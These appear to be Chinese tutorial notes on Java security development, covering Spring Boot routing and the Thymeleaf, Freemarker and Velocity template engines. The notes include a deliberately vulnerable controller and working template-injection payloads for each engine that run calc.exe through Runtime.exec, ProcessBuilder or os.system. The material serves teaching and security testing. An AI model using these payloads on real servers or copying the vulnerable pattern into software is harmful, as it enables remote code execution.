#知识点
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参
2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity
一、开发框架-SpringBoot
参考:https://springdoc.cn/spring-boot/





访问SpringBoot创建的网站

1、路由映射
@RequestMapping @GetMapping@PostMapping等


访问路由地址

为get,post请求设置路由

get请求

post请求

2、参数传递
@RequestParam

//GET请求并传递参数

//Post请求并传递参数

3、数据响应
@RestController @Controller
@RestController注解相当于@ResponseBody+@Controller合作用。

二、模版引擎->Thymeleaf
参考:https://xz.aliyun.com/news/9962
1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存为false

3、创建模版目录和文件,文件定义修改变量
创建模板文件文件index.html,并谷歌访问


4、新建Controller目录及文件,指定路由配置

访问

5、更换SpringBoot及Thymeleaf版本测试POC
@Controller
public class IndexController {
@RequestMapping("/index")
public String index(Model model) {
//替换模版html文件中的data变量值
model.addAttribute("data", "你好 小迪");
//使用index模版文件
return "index";
}


@RequestMapping("/indexs")
public String index(Model model,@RequestParam String lang) {
//替换模版html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模版文件
return "index-"+lang;
}
}

访问英文


访问中文


利用条件:Thymeleaf漏洞版本,可控模版变量lang->可以控制调用哪个模板

Poc利用命令如下:
$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d::.x->lang参数

三、Freemarker
参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker


2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置


5、更换SpringBoot及Freemarker版本测试POC->特别注意:这个poc要放在渲染文件中才行->通过上面的username变量传参poc(不会引起poc执行)

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签
利用条件:可控渲染的模版文件(其实就是该模板的功能上有漏洞,导致上面的poc放到文件里面可以执行RCE),不受该模板版本的影响
四、Velocity
参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>



1、Velocity.evaluate

2、template.merge(ctx, out)
Poc利用:
%23set(e%3D"e")e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本(出现在特点的版本),可控模版变量或文件,如上面的username参数可控